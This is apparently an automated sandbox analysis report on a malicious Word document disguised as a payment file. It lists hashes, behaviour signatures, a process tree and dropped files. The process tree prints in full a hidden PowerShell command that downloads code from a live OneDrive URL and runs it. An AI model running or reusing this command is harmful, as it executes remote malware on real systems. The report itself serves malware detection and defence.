Resubmissions

11-06-2024 09:25

240611-ldkqzaselq 10

30-04-2024 05:42

240430-gd11qsec7w 10

Analysis

  • max time kernel
    120s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    30-04-2024 05:42

General

  • Target

    HAN HII PAYMENT-USD.doc

  • Size

    70KB

  • MD5

    1812b0ee6924f6188269c65494e580e8

  • SHA1

    fc83f1d3acb53009cbaa7b9df57676274fc561a1

  • SHA256

    7fb4306a36b61be977dfc6f56443542c9d70273bb97b55d5049cd86608aa0f68

  • SHA512

    5432bbe2f3f54a1ddf8980ad1f34a684d0e7b17bd29cc059c3c20e798dfcab025d68a0b46776630c64b84c062a146e27c2f75f8de57e08f88b1ac8cfed1f8eff

  • SSDEEP

    768:Dpwxw+tCmFeFahP8nmwyd04aCF+Fas0Mxw+tq:DSxrtCmFeFahP81CF+FasZxrt

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\HAN HII PAYMENT-USD.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1968
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1936
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -exec bypass -w 1 -c (iwr 'https://onedrive.live.com/download?resid=59261C7E41B6478A%21215&authkey=!AILxsvzlZboP3io' -UseBasicParsing).Content | iex
        2⤵
        • Process spawned unexpected child process
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2564

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\5DB96A22.emf
      Filesize

      2KB

      MD5

      0e9f6533cad992f680e3581ffb00ee3c

      SHA1

      37b2700b0477cf5f85fe052ecf57d157c821633c

      SHA256

      627b83baf6386b68b6e1dcd2a345b228b1bc4bfacbc804753c6bb8df2b588554

      SHA512

      68859981f9b18a0832280145ccb73d69ffe8525783094b3e7a6f4ade4625f452706ebf282b4c945ccf682a82c031ef6bdf061b82fbb8d469dca896a787e26fd9

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm
      Filesize

      20KB

      MD5

      92d4766845eb24937d1fea4a12e1ce93

      SHA1

      588cb8f9efe318a51f2cd85b8b10e06eb0d9e00c

      SHA256

      bf451da96d79cadcf86a5381b3d3e02d68a05436b8db597c1f20d1e85038d737

      SHA512

      e62ae6280e1a13c9a2082ebd802e9636ab14c92f21b9a2fd1e28d62eeb5e70a43b44d4cd065d5c1ca74c8a6715dceee5ad9c0540bfb10b62c09b3486b8896d7c

    • memory/1968-0-0x000000002FD31000-0x000000002FD32000-memory.dmp
      Filesize

      4KB

    • memory/1968-1-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/1968-2-0x0000000070C3D000-0x0000000070C48000-memory.dmp
      Filesize

      44KB

    • memory/1968-6-0x00000000005D0000-0x00000000006D0000-memory.dmp
      Filesize

      1024KB

    • memory/1968-7-0x00000000005D0000-0x00000000006D0000-memory.dmp
      Filesize

      1024KB

    • memory/1968-8-0x00000000005D0000-0x00000000006D0000-memory.dmp
      Filesize

      1024KB

    • memory/1968-26-0x0000000070C3D000-0x0000000070C48000-memory.dmp
      Filesize

      44KB

    • memory/1968-27-0x00000000005D0000-0x00000000006D0000-memory.dmp
      Filesize

      1024KB

    • memory/1968-42-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB